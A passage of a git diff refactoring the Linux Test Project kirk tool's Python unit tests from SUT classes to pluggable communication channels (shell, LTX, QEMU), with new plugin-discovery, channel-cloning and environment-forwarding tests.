sut.ensure_communicate(iobuffer=Printer()) - with pytest.raises(SUTError): - await sut.ensure_communicate(iobuffer=Printer(), retries=1) + await com.ensure_communicate(iobuffer=Printer()) + with pytest.raises(CommunicationError): + await com.ensure_communicate(iobuffer=Printer(), retries=1) @pytest.fixture - def sut_stop_sleep(self, request): + def com_stop_setup(self, request): """ Setup sleep time before calling stop after communicate. By changing multiply factor it's possible to tweak stop sleep and @@ -111,60 +87,60 @@ class _TestSUT: """ return request.param * 1.0 - @pytest.mark.parametrize("sut_stop_sleep", [1, 2], indirect=True) - async def test_communicate_stop(self, sut, sut_stop_sleep): + @pytest.mark.parametrize("com_stop_setup", [1, 2], indirect=True) + async def test_communicate_stop(self, com, com_stop_setup): """ Test stop method when running communicate. """ async def stop(): - await asyncio.sleep(sut_stop_sleep) - await sut.stop(iobuffer=Printer()) + await asyncio.sleep(com_stop_setup) + await com.stop(iobuffer=Printer()) await asyncio.gather( - *[sut.communicate(iobuffer=Printer()), stop()], return_exceptions=True + *[com.communicate(iobuffer=Printer()), stop()], return_exceptions=True ) - async def test_run_command(self, sut): + async def test_run_command(self, com): """ Execute run_command once. """ - await sut.communicate(iobuffer=Printer()) - res = await sut.run_command("echo 0") + await com.communicate(iobuffer=Printer()) + res = await com.run_command("echo 0") assert res["returncode"] == 0 assert int(res["stdout"]) == 0 assert 0 < res["exec_time"] < time.time() - async def test_run_command_stop(self, sut): + async def test_run_command_stop(self, com): """ Execute run_command once, then call stop(). """ - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) async def stop(): await asyncio.sleep(0.2) - await sut.stop(iobuffer=Printer()) + await com.stop(iobuffer=Printer()) async def test(): - res = await sut.run_command("sleep 2") + res = await com.run_command("sleep 2") assert res["returncode"] != 0 assert 0 < res["exec_time"] < 2 await asyncio.gather(*[test(), stop()]) - async def test_run_command_parallel(self, sut): + async def test_run_command_parallel(self, com): """ Execute run_command in parallel. """ - if not sut.parallel_execution: + if not com.parallel_execution: pytest.skip(reason="Parallel execution is not supported") - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) exec_count = os.cpu_count() - coros = [sut.run_command(f"echo {i}") for i in range(exec_count)] + coros = [com.run_command(f"echo {i}") for i in range(exec_count)] results = await asyncio.gather(*coros) @@ -173,22 +149,22 @@ class _TestSUT: assert 0 <= int(data["stdout"]) < exec_count assert 0 < data["exec_time"] < time.time() - async def test_run_command_stop_parallel(self, sut): + async def test_run_command_stop_parallel(self, com): """ Execute multiple run_command in parallel, then call stop(). """ - if not sut.parallel_execution: + if not com.parallel_execution: pytest.skip(reason="Parallel execution is not supported") - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) async def stop(): await asyncio.sleep(0.2) - await sut.stop(iobuffer=Printer()) + await com.stop(iobuffer=Printer()) async def test(): exec_count = os.cpu_count() - coros = [sut.run_command("sleep 2") for i in range(exec_count)] + coros = [com.run_command("sleep 2") for i in range(exec_count)] results = await asyncio.gather(*coros, return_exceptions=True) for data in results: @@ -201,70 +177,122 @@ class _TestSUT: await asyncio.gather(*[test(), stop()]) - async def test_fetch_file_bad_args(self, sut): + async def test_fetch_file_bad_args(self, com): """ Test fetch_file method with bad arguments. """ - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) with pytest.raises(ValueError): - await sut.fetch_file(None) + await com.fetch_file(None) - with pytest.raises(SUTError): - await sut.fetch_file("this_file_doesnt_exist") + with pytest.raises(CommunicationError): + await com.fetch_file("this_file_doesnt_exist") - async def test_fetch_file(self, sut): + async def test_fetch_file(self, com): """ Test fetch_file method. """ - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) for i in range(0, 5): myfile = f"/tmp/myfile{i}" - await sut.run_command(f"echo -n 'mytests' > {myfile}") - data = await sut.fetch_file(myfile) + await com.run_command(f"echo -n 'mytests' > {myfile}") + data = await com.fetch_file(myfile) assert data == b"mytests" - async def test_fetch_file_stop(self, sut): + async def test_fetch_file_stop(self, com): """ Test stop method when running fetch_file. """ target = "/tmp/target_file" - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) async def fetch(): - (await sut.run_command(f"truncate -s {1024 * 1024 * 1024} {target}"),) - await sut.fetch_file(target) + (await com.run_command(f"truncate -s {1024 * 1024 * 1024} {target}"),) + await com.fetch_file(target) async def stop(): await asyncio.sleep(2) - await sut.stop(iobuffer=Printer()) + await com.stop(iobuffer=Printer()) libkirk.create_task(fetch()) await stop() - async def test_cwd(self, sut): + async def test_cwd(self, com): """ Test CWD constructor argument. """ - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) - ret = await sut.run_command("echo -n $PWD", cwd="/tmp", iobuffer=Printer()) + ret = await com.run_command("echo -n $PWD", cwd="/tmp", iobuffer=Printer()) assert ret["returncode"] == 0 assert ret["stdout"].strip() == "/tmp" - async def test_env(self, sut): + async def test_env(self, com): """ Test ENV constructor argument. """ - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) - ret = await sut.run_command( + ret = await com.run_command( "echo -n $HELLO", env=dict(HELLO="ciao"), iobuffer=Printer() ) assert ret["returncode"] == 0 assert ret["stdout"].strip() == "ciao" + + +def test_discover(tmpdir): + """ + Test if ComChannel implementations are correctly discovered. + """ + impl = [] + impl.append(tmpdir / "chanA.py") + impl.append(tmpdir / "chanB.py") + impl.append(tmpdir / "chanC.txt") + + for index in range(0, len(impl)): + impl[index].write( + "from libkirk.com import ComChannel\n\n" + f"class ComChannel{index}(ComChannel):\n" + f" _name = 'channel{index}'\n" + ) + + libkirk.com.discover(str(tmpdir), extend=False) + + channels = libkirk.com.get_channels() + assert len(channels) == 2 + + names = [c.name for c in channels] + assert "channel0" in names + assert "channel1" in names + + +def test_clone_channel(tmpdir): + """ + Verify that channel can be cloned. + """ + chanf = tmpdir / "chan.py" + chanf.write( + "from libkirk.com import ComChannel\n\n" + "class MyChannel(ComChannel):\n" + " _name = 'mychan'\n" + ) + + libkirk.com.discover(str(tmpdir), extend=False) + assert libkirk.com.clone_channel("mychan", "newchan") + + com = next((c for c in libkirk.com.get_channels() if c.name == "newchan"), None) + assert com + + +def test_clone_channel_error(tmpdir): + """ + Verify that unkown channel can't be cloned. + """ + with pytest.raises(PluginError): + libkirk.com.clone_channel("mychan", "newchan") diff --git a/ltp/tools/kirk/libkirk/tests/test_events.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_events.py similarity index 93% rename from ltp/tools/kirk/libkirk/tests/test_events.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_events.py index a9b241c8..15cf1b4e 100644 --- a/ltp/tools/kirk/libkirk/tests/test_events.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_events.py @@ -60,14 +60,6 @@ def test_register(): assert libkirk.events.is_registered("myevent") -def test_unregister_errors(): - """ - Test unregister method during errors. - """ - with pytest.raises(ValueError): - libkirk.events.unregister(None) - - def test_unregister_all(): """ Test unregister method removing all coroutine @@ -113,7 +105,6 @@ def test_unregister_single(): assert not libkirk.events.is_registered("myevent") -@pytest.mark.asyncio async def test_fire_errors(): """ Test fire method during errors. @@ -122,7 +113,6 @@ async def test_fire_errors(): await libkirk.events.fire(None, "prova") -@pytest.mark.asyncio async def test_fire(): """ Test fire method. diff --git a/ltp/tools/kirk/libkirk/tests/test_export.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_export.py similarity index 96% rename from ltp/tools/kirk/libkirk/tests/test_export.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_export.py index 90d5b76c..68440948 100644 --- a/ltp/tools/kirk/libkirk/tests/test_export.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_export.py @@ -11,8 +11,6 @@ from libkirk.data import Suite, Test from libkirk.export import JSONExporter from libkirk.results import ResultStatus, SuiteResults, TestResults -pytestmark = pytest.mark.asyncio - class TestJSONExporter: """ @@ -93,6 +91,7 @@ class TestJSONExporter: distro="openSUSE-Leap", distro_ver="15.3", kernel="5.17", + cmdline="security=selinux selinux=1 enforcing=1 ima_policy=tcb", arch="x86_64", cpu="x86_64", swap="10 kB", @@ -173,6 +172,7 @@ class TestJSONExporter: "distribution_version": "15.3", "distribution": "openSUSE-Leap", "kernel": "5.17", + "cmdline": "security=selinux selinux=1 enforcing=1 ima_policy=tcb", "arch": "x86_64", "cpu": "x86_64", "swap": "10 kB", diff --git a/ltp/tools/kirk/libkirk/tests/test_io.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_io.py similarity index 98% rename from ltp/tools/kirk/libkirk/tests/test_io.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_io.py index ae1e1791..4bec41b8 100644 --- a/ltp/tools/kirk/libkirk/tests/test_io.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_io.py @@ -6,8 +6,6 @@ import pytest from libkirk.io import AsyncFile -pytestmark = pytest.mark.asyncio - async def test_seek(tmpdir): """ diff --git a/ltp/tools/kirk/libkirk/tests/test_ltp.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ltp.py similarity index 82% rename from ltp/tools/kirk/libkirk/tests/test_ltp.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_ltp.py index 15d41aab..99698109 100644 --- a/ltp/tools/kirk/libkirk/tests/test_ltp.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ltp.py @@ -8,11 +8,9 @@ import os import pytest from libkirk.data import Test -from libkirk.host import HostSUT +from libkirk.channels.shell import ShellComChannel from libkirk.ltp import LTPFramework -pytestmark = pytest.mark.asyncio - class TestLTPFramework: """ @@ -27,7 +25,7 @@ class TestLTPFramework: """ Host SUT communication object. """ - obj = HostSUT() + obj = ShellComChannel() obj.setup() await obj.communicate() @@ -35,13 +33,11 @@ class TestLTPFramework: await obj.stop() @pytest.fixture - def framework(self, tmpdir): + def framework(self): """ LTP framework object. """ fw = LTPFramework() - fw.setup(root=str(tmpdir)) - yield fw @pytest.fixture(autouse=True) @@ -49,6 +45,8 @@ class TestLTPFramework: """ Prepare the temporary directory adding runtest folder. """ + os.environ["LTPROOT"] = str(tmpdir) + # create simple testing suites content = "" for i in range(self.TESTS_NUM): @@ -83,13 +81,7 @@ class TestLTPFramework: test_sh = testcases / "test.sh" test_sh.write("#!/bin/bash\necho $1 $2\n") - async def test_name(self, framework): - """ - Test that name property is not empty. - """ - assert framework.name == "ltp" - - async def test_get_suites(self, framework, sut, tmpdir): + async def test_get_suites(self, framework, sut): """ Test get_suites method. """ @@ -142,12 +134,39 @@ class TestLTPFramework: assert "TMPDIR" in test.env assert "LTP_COLORIZE_OUTPUT" in test.env - async def test_find_suite_max_runtime(self, sut, tmpdir): + async def test_find_suite_network_vars(self, sut, monkeypatch): """ - Test find_suite method when max_runtime is defined. + Test that all SUPPORTED_ENV variables and TST_/LTP_ prefixed variables + are forwarded to tests. """ + # Build a mapping of every variable that should be forwarded: + # all entries in SUPPORTED_ENV (skipping PATH which is always present) + # plus representative TST_ and LTP_ prefixed variables. + net_vars = { + key: f"test_value_{key}" + for key in LTPFramework.SUPPORTED_ENV + if key != "PATH" + } + # One representative per prefix is enough to verify prefix-based forwarding. + net_vars["TST_USE_NETNS"] = "yes" + net_vars["LTP_RSH"] = "ssh -nq" + + for key, val in net_vars.items(): + monkeypatch.setenv(key, val) + framework = LTPFramework() - framework.setup(root=str(tmpdir), max_runtime=5) + suite = await framework.find_suite(sut, "suite0") + + for test in suite.tests: + for key, val in net_vars.items(): + assert key in test.env, f"{key} not found in test env" + assert test.env[key] == val + + async def test_find_suite_max_runtime(self, sut): + """ + Test find_suite method when max_runtime is defined. + """ + framework = LTPFramework(max_runtime=5) suite = await framework.find_suite(sut, "slow_suite") assert len(suite.tests) == 0 diff --git a/ltp/tools/kirk/libkirk/tests/test_ltx.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ltx.py similarity index 89% rename from ltp/tools/kirk/libkirk/tests/test_ltx.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_ltx.py index 8428bc33..542316be 100644 --- a/ltp/tools/kirk/libkirk/tests/test_ltx.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ltx.py @@ -9,12 +9,14 @@ import time import pytest -from libkirk.ltx import LTX, Requests -from libkirk.ltx_sut import LTXSUT -from libkirk.tests.test_session import _TestSession +import libkirk.com +from libkirk.sut_base import GenericSUT from libkirk.tests.test_sut import _TestSUT +from libkirk.tests.test_session import _TestSession +from libkirk.channels.ltx import LTX, Requests +from libkirk.tests.test_com import _TestComChannel -pytestmark = [pytest.mark.asyncio, pytest.mark.ltx] +pytestmark = [pytest.mark.ltx] TEST_LTX_BINARY = os.environ.get("TEST_LTX_BINARY", None) @@ -262,9 +264,9 @@ class TestLTX: @pytest.fixture -async def sut(tmpdir): +async def com(tmpdir): """ - LTXSUT instance object. + LTXComChannel instance object. """ infile = str(tmpdir / "transport.in") outfile = str(tmpdir / "transport.out") @@ -281,28 +283,48 @@ async def sut(tmpdir): stdout=stdout, ) - sut = LTXSUT() - sut.setup(cwd=str(tmpdir), env=dict(HELLO="WORLD"), infile=infile, outfile=outfile) + obj = next((c for c in libkirk.com.get_channels() if c.name == "ltx"), None) + obj.setup(cwd=str(tmpdir), env=dict(HELLO="WORLD"), infile=infile, outfile=outfile) - yield sut + yield obj - if await sut.is_running: - await sut.stop() + if await obj.active(): + await obj.stop() proc.kill() proc.wait() -class TestLTXSUT(_TestSUT): +class TestLTXComChannel(_TestComChannel): """ - Test HostSUT implementation. + Test LTXComChannel implementation. """ async def test_fetch_file_stop(self): pytest.skip(reason="LTX doesn't support stop for GET_FILE") -class TestLTXSession(_TestSession): +@pytest.fixture +async def sut(com): + """ + SUT object to test. + """ + obj = GenericSUT() + obj.setup(com="ltx") + + yield obj + + if await obj.is_running(): + await obj.stop() + + +class TestSUTLTX(_TestSUT): + """ + Test LTXComChannel implementation in within SUT. + """ + + +class TestSessionLTXComChannel(_TestSession): """ - Test Session implementation using LTX SUT. + Test Session using LTXComChannel. """ diff --git a/ltp/tools/kirk/libkirk/tests/test_main.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_main.py similarity index 77% rename from ltp/tools/kirk/libkirk/tests/test_main.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_main.py index 6520f609..96b9eb22 100644 --- a/ltp/tools/kirk/libkirk/tests/test_main.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_main.py @@ -2,6 +2,7 @@ Unittests for main module. """ +import asyncio import json import os import pwd @@ -9,7 +10,49 @@ import sys import pytest +import libkirk +import libkirk.com import libkirk.main +import libkirk.sut +from libkirk.evt import EventsHandler + + +@pytest.fixture(autouse=True) +def isolated_loop(monkeypatch): + """ + Give every TestMain test its own event loop so that + libkirk.main.run() cannot cancel tasks belonging to + other (async) tests, and cannot leave the shared + session loop in a dirty state. + """ + # Remember which loop the session is using so we can restore it. + session_loop = libkirk.get_event_loop() + + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + + # Re-discover plugins now that the isolated loop is current, so that + # every asyncio.Lock() inside plugin __init__ methods binds to this loop. + currdir = os.path.dirname(os.path.realpath(libkirk.com.__file__)) + libkirk.com.discover(os.path.join(currdir, "channels"), extend=False) + libkirk.sut.discover(currdir, extend=False) + + fresh_events = EventsHandler() + monkeypatch.setattr(libkirk, "get_event_loop", lambda: loop) + monkeypatch.setattr(libkirk, "events", fresh_events) + + yield loop + + # Drain and close the isolated loop. + try: + libkirk.cancel_tasks(loop) + if not loop.is_closed(): + loop.run_until_complete(fresh_events.stop()) + finally: + if not loop.is_closed(): + loop.close() + # Restore the session loop so subsequent async tests still work. + asyncio.set_event_loop(session_loop) class TestMain: @@ -18,11 +61,11 @@ class TestMain: """ @pytest.fixture(autouse=True) - def setup(self, dummy_framework): + def setup(self, ltpdir): """ - Setup main before running tests. + Create and initialize LTP root directory. """ - libkirk.main.LOADED_FRAMEWORK.append(dummy_framework) + pass def read_report(self, temp) -> dict: """ @@ -90,8 +133,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", ] @@ -112,8 +153,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--suite-timeout", @@ -143,8 +182,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--verbose", @@ -156,7 +193,7 @@ class TestMain: assert excinfo.value.code == libkirk.main.RC_OK captured = capsys.readouterr() - assert "ciao0\n" in captured.out + assert "echo -n ciao\n" in captured.out @pytest.mark.xfail(reason="This test passes if run alone. capsys bug?") def test_run_suite_no_colors(self, tmpdir, capsys): @@ -167,8 +204,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--no-colors", @@ -192,8 +227,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", ] @@ -213,8 +246,6 @@ class TestMain: str(temp), "--restore", f"{str(temp)}/kirk.{name}/latest", - "--framework", - "dummy", "--run-suite", "suite01", "environ", @@ -237,8 +268,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--json-report", @@ -268,8 +297,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--skip-tests", @@ -295,8 +322,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--skip-file", @@ -322,8 +347,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--skip-tests", @@ -350,8 +373,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--workers", @@ -376,45 +397,7 @@ class TestMain: libkirk.main.run(cmd_args=cmd_args) assert excinfo.value.code == libkirk.main.RC_OK - assert len(libkirk.main.LOADED_SUT) > 0 - - def test_framework_help(self): - """ - Test "--framework help" command and check if Framework class(es) - are loaded. - """ - cmd_args = ["--framework", "help"] - - with pytest.raises(SystemExit) as excinfo: - libkirk.main.run(cmd_args=cmd_args) - - assert excinfo.value.code == libkirk.main.RC_OK - assert len(libkirk.main.LOADED_FRAMEWORK) > 0 - - def test_env(self, tmpdir): - """ - Test --env option. - """ - temp = tmpdir.mkdir("temp") - cmd_args = [ - "--tmp-dir", - str(temp), - "--framework", - "dummy", - "--run-suite", - "environ", - "--env", - "hello=ciao", - ] - - with pytest.raises(SystemExit) as excinfo: - libkirk.main.run(cmd_args=cmd_args) - - assert excinfo.value.code == libkirk.main.RC_OK - - report = self.read_report(temp) - assert len(report["results"]) == 1 - assert report["results"][0]["test"]["log"] == "ciao" + assert len(libkirk.sut.get_suts()) > 0 def test_suite_iterate(self, tmpdir): """ @@ -424,8 +407,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--suite-iterate", @@ -450,8 +431,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", ] cmd_args.extend(["suite01"] * num_of_suites) @@ -479,8 +458,6 @@ class TestMain: cmd_args = [ "--tmp-dir", str(temp), - "--framework", - "dummy", "--run-suite", "suite01", "--runtime", @@ -494,3 +471,87 @@ class TestMain: report = self.read_report(temp) assert len(report["results"]) >= 2 + + def test_plugins_channels(self, tmpdir): + """ + Test --plugins discovery option with ComChannel. + """ + impl = tmpdir / "chan.py" + impl.write( + "from libkirk.com import ComChannel\n\n" + "class MyChannel(ComChannel):\n" + " @property\n" + " def name(self) -> str:\n" + " return 'mychan'" + ) + + cmd_args = [ + "--plugins", + str(tmpdir), + "--sut", + "help" + ] + + with pytest.raises(SystemExit) as excinfo: + libkirk.main.run(cmd_args=cmd_args) + + assert excinfo.value.code == libkirk.main.RC_OK + + channels = libkirk.com.get_channels() + + assert len(channels) > 0 + assert [item for item in channels if item.name == "mychan"] + + def test_plugins_suts(self, tmpdir): + """ + Test --plugins discovery option with SUT. + """ + impl = tmpdir / "sut.py" + impl.write( + "from libkirk.sut_base import GenericSUT\n\n" + "class MySUT(GenericSUT):\n" + " @property\n" + " def name(self) -> str:\n" + " return 'mysut'" + ) + + cmd_args = [ + "--plugins", + str(tmpdir), + "--sut", + "help" + ] + + with pytest.raises(SystemExit) as excinfo: + libkirk.main.run(cmd_args=cmd_args) + + assert excinfo.value.code == libkirk.main.RC_OK + + suts = libkirk.sut.get_suts() + + assert len(suts) > 0 + assert [item for item in suts if item.name == "mysut"] + + def test_com(self, tmpdir): + """ + Test --com option. + """ + temp = tmpdir.mkdir("temp") + cmd_args = [ + "--tmp-dir", + str(temp), + "--com", + "shell:id=myshell", + "--sut", + "default:com=myshell", + "--run-suite", + "suite01", + ] + + with pytest.raises(SystemExit) as excinfo: + libkirk.main.run(cmd_args=cmd_args) + + assert excinfo.value.code == libkirk.main.RC_OK + + names = [com.name for com in libkirk.com.get_channels()] + assert "myshell" in names diff --git a/ltp/tools/kirk/libkirk/tests/test_monitor.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_monitor.py similarity index 98% rename from ltp/tools/kirk/libkirk/tests/test_monitor.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_monitor.py index 7590cd9b..3b9016ce 100644 --- a/ltp/tools/kirk/libkirk/tests/test_monitor.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_monitor.py @@ -11,8 +11,6 @@ import libkirk from libkirk.io import AsyncFile from libkirk.monitor import JSONFileMonitor -pytestmark = pytest.mark.asyncio - MONITOR_FILE = "monitor.json" diff --git a/ltp/tools/kirk/kirk-src/libkirk/tests/test_plugin.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_plugin.py new file mode 100644 index 00000000..19d27e94 --- /dev/null +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_plugin.py @@ -0,0 +1,36 @@ +""" +Unittests for framework module. +""" + +import pytest +import libkirk +import libkirk.plugin +from libkirk.plugin import Plugin + + +@pytest.fixture(autouse=True) +def setup(tmpdir): + """ + Setup the temporary folder before tests. + """ + plugins = [] + plugins.append(tmpdir / "pluginA.py") + plugins.append(tmpdir / "pluginB.py") + plugins.append(tmpdir / "pluginC.txt") + + for index in range(0, len(plugins)): + plugins[index].write( + "from libkirk.plugin import Plugin\n\n" + "class MyPlugin(Plugin):\n" + " _name = 'myplug'\n" + ) + + +def test_clone(tmpdir): + """ + Test if ``clone`` method properly forks inside ``Plugin``. + """ + plugins = libkirk.plugin.discover(Plugin, str(tmpdir)) + newplugin = plugins[0].clone("myclone") + + assert newplugin.name == "myclone" diff --git a/ltp/tools/kirk/libkirk/tests/test_qemu.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_qemu.py similarity index 57% rename from ltp/tools/kirk/libkirk/tests/test_qemu.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_qemu.py index a82e88c0..892a0754 100644 --- a/ltp/tools/kirk/libkirk/tests/test_qemu.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_qemu.py @@ -1,17 +1,20 @@ """ -Test SUT implementations. +Unittest for QemuComChannel. """ import os import pytest +import libkirk.com +from libkirk.sut_base import GenericSUT from libkirk.errors import KernelPanicError -from libkirk.qemu import QemuSUT +from libkirk.channels.qemu import QemuComChannel +from libkirk.tests.test_com import Printer, _TestComChannel +from libkirk.tests.test_sut import _TestSUT from libkirk.tests.test_session import _TestSession -from libkirk.tests.test_sut import Printer, _TestSUT -pytestmark = [pytest.mark.asyncio, pytest.mark.qemu] +pytestmark = [pytest.mark.qemu] TEST_QEMU_IMAGE = os.environ.get("TEST_QEMU_IMAGE", None) TEST_QEMU_USERNAME = os.environ.get("TEST_QEMU_USERNAME", None) @@ -29,38 +32,38 @@ if not TEST_QEMU_PASSWORD: pytestmark.append(pytest.mark.skip(reason="TEST_QEMU_PASSWORD not defined")) -class _TestQemuSUT(_TestSUT): +class _TestQemuComChannel(_TestComChannel): """ - Test Qemu SUT implementation. + Test QemuComChannel implementation. """ - async def test_kernel_panic(self, sut): + async def test_kernel_panic(self, com): """ Test kernel panic recognition. """ iobuff = Printer() - await sut.communicate(iobuffer=iobuff) - await sut.run_command( + await com.communicate(iobuffer=iobuff) + await com.run_command( "echo 'Kernel panic\nThis is a generic message' > /tmp/panic.txt", iobuffer=iobuff, ) with pytest.raises(KernelPanicError): - await sut.run_command("cat /tmp/panic.txt", iobuffer=iobuff) + await com.run_command("cat /tmp/panic.txt", iobuffer=iobuff) async def test_fetch_file_stop(self): pytest.skip(reason="Coroutines don't support I/O file handling") @pytest.fixture -async def sut_isa(tmpdir): +async def com_isa(tmpdir): """ Qemu instance using ISA. """ iobuff = Printer() - runner = QemuSUT() + runner = next((c for c in libkirk.com.get_channels() if c.name == "qemu"), None) runner.setup( tmpdir=str(tmpdir), image=TEST_QEMU_IMAGE, @@ -71,16 +74,16 @@ async def sut_isa(tmpdir): yield runner - if await runner.is_running: + if await runner.active(): await runner.stop(iobuffer=iobuff) @pytest.fixture -async def sut_virtio(tmpdir): +async def com_virtio(tmpdir): """ Qemu instance using VirtIO. """ - runner = QemuSUT() + runner = next((c for c in libkirk.com.get_channels() if c.name == "qemu"), None) runner.setup( tmpdir=str(tmpdir), image=TEST_QEMU_IMAGE, @@ -91,64 +94,44 @@ async def sut_virtio(tmpdir): yield runner - if await runner.is_running: + if await runner.active(): await runner.stop() -class TestQemuSUTISA(_TestQemuSUT): +class TestQemuComChannelISA(_TestQemuComChannel): """ - Test QemuSUT implementation using ISA protocol. + Test QemuComChannel implementation using ISA protocol. """ @pytest.fixture - async def sut(self, sut_isa): - yield sut_isa + async def com(self, com_isa): + yield com_isa -class TestQemuSUTVirtIO(_TestQemuSUT): +class TestQemuComChannelVirtIO(_TestQemuComChannel): """ - Test QemuSUT implementation using VirtIO protocol. + Test QemuComChannel implementation using VirtIO protocol. """ @pytest.fixture - async def sut(self, sut_virtio): - yield sut_virtio - - -class TestSessionQemuISA(_TestSession): - """ - Test Session using Qemu with ISA protocol. - """ - - @pytest.fixture - async def sut(self, sut_isa): - yield sut_isa - - -class TestSessionQemuVirtIO(_TestSession): - """ - Test Session using Qemu with ISA protocol. - """ - - @pytest.fixture - async def sut(self, sut_virtio): - yield sut_virtio + async def com(self, com_virtio): + yield com_virtio @pytest.mark.skipif(not TEST_QEMU_KERNEL, reason="TEST_QEMU_KERNEL not defined") @pytest.mark.skipif(not TEST_QEMU_BUSYBOX, reason="TEST_QEMU_BUSYBOX not defined") -class TestQemuSUTBusybox(_TestQemuSUT): +class TestQemuComChannelBusybox(_TestQemuComChannel): """ - Test QemuSUT implementation using kernel/initrd functionality with + Test QemuComChannel implementation using kernel/initrd functionality with busybox initramfs image. """ @pytest.fixture - async def sut(self, tmpdir): + async def com(self, tmpdir): """ Qemu instance using kernel/initrd. """ - runner = QemuSUT() + runner = QemuComChannel() runner.setup( tmpdir=str(tmpdir), kernel=TEST_QEMU_KERNEL, @@ -158,5 +141,29 @@ class TestQemuSUTBusybox(_TestQemuSUT): yield runner - if await runner.is_running: + if await runner.active(): await runner.stop() + + +@pytest.fixture +async def sut(com_isa): + obj = GenericSUT() + obj.setup(com="qemu") + + yield obj + + if await obj.is_running(): + await obj.stop() + + +class TestSUTQemu(_TestSUT): + """ + Test GenericSUT using Qemu support. We don't need varius supports, because + we are only testing SUT API. + """ + + +class TestSessionQemu(_TestSession): + """ + Test Session using QemuComChannel. + """ diff --git a/ltp/tools/kirk/libkirk/tests/test_scheduler.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_scheduler.py similarity index 94% rename from ltp/tools/kirk/libkirk/tests/test_scheduler.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_scheduler.py index d0c30823..20db9ee8 100644 --- a/ltp/tools/kirk/libkirk/tests/test_scheduler.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_scheduler.py @@ -2,24 +2,24 @@ Unittests for runner module. """ +from libkirk.ltp import LTPFramework import asyncio +import os import re import sys import pytest from libkirk.data import Suite, Test +from libkirk.results import ResultStatus from libkirk.errors import KernelPanicError, KernelTaintedError, KernelTimeoutError -from libkirk.host import HostSUT +from libkirk.sut_base import GenericSUT from libkirk.scheduler import SuiteScheduler, TestScheduler -from libkirk.sut import TAINTED_MSG -pytestmark = pytest.mark.asyncio - -class MockHostSUT(HostSUT): +class MockSUT(GenericSUT): """ - HostSUT mock. + GenericSUT mock. """ async def get_info(self) -> dict: @@ -27,6 +27,7 @@ class MockHostSUT(HostSUT): "distro": "openSUSE", "distro_ver": "15.3", "kernel": "5.10", + "cmdline": "ima_policy=tcb", "arch": "x86_64", "cpu": "x86_64", "swap": "0", @@ -66,8 +67,7 @@ class MockSuiteScheduler(SuiteScheduler): self._logger.info("Rebooting the SUT") await self._scheduler.stop() - await self._sut.stop() - await self._sut.communicate() + await self._sut.restart() self._rebooted += 1 @@ -81,11 +81,13 @@ async def sut(): """ SUT object. """ - obj = MockHostSUT() - obj.setup() - await obj.communicate() + obj = MockSUT() + obj.setup(com="shell") + await obj.start() yield obj - await obj.stop() + + if await obj.is_running(): + await obj.stop() class TestTestScheduler: @@ -94,11 +96,11 @@ class TestTestScheduler: """ @pytest.fixture - async def create_runner(self, sut, dummy_framework): + async def create_runner(self, sut, ltpdir): def _callback(timeout: float = 3600.0, max_workers: int = 1) -> TestScheduler: obj = MockTestScheduler( sut=sut, - framework=dummy_framework, + framework=LTPFramework(), timeout=timeout, 